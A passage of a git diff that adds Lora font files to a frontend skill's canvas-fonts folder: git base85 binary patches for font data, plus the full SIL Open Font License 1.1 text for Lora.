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 Lyf1(o@qhmZ4%HFJ literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/Lora-OFL.txt b/skills/frontend-dev/canvas-fonts/Lora-OFL.txt new file mode 100644 index 0000000..4cf1b95 --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/Lora-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2011 The Lora Project Authors (https://github.com/cyrealtype/Lora-Cyrillic), with Reserved Font Name "Lora". + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/Lora-Regular.ttf b/skills/frontend-dev/canvas-fonts/Lora-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..dc751db00dc171fc19737d9da800d7a583bb2c6d GIT binary patch literal 133888 zcmcGX2YgjU`uAt%+!R7+=?M@*2)(7!1SFMS1O!1uLI^b^7!oNeB25%fL{?qbRb<t* zU{^#eiw#*sKtu&p7EuC7M?nPPzTcU1?zuO}`rm!u_kZu_H|IH1pLyn)a%RrV5mE?I z7sDe&&%FGC74gf53ZZ&{sGfrc4%zZ#*W*GA{6UCShk6dVHs|MW+Vm14Zk-S{cMTlU zKK;(CM_ng`+$V$>Gh}G?(1WwL1atoo_q~dy7EbFqx&1^E$P^-U!Gyx;)3C3Ldlc8u z2_>_}?^^cK5+P1*5i%itVsYWPW^2FMg8LZUJ50nPbgZY0`>x!lOq^OV^XUWghC?nF zqSn5WvZBJDF0R=uM2#Lo1fQN-ICGkHm-rR`4e*~-S~#_M{*>3|k~#9^`Egp=^orxF zF5N9eI(#%NpH^NxZDR1!h4>H0f5<xNUHFn`8Mi`uy`m0RVa*gbi4d_!1nIkgpGW(` z{rDy16I9cC=WiE1KVIfXht{Di6~6S<MwK_#>3T+3)*&6scgrH*G1tfDec`?H(kai6 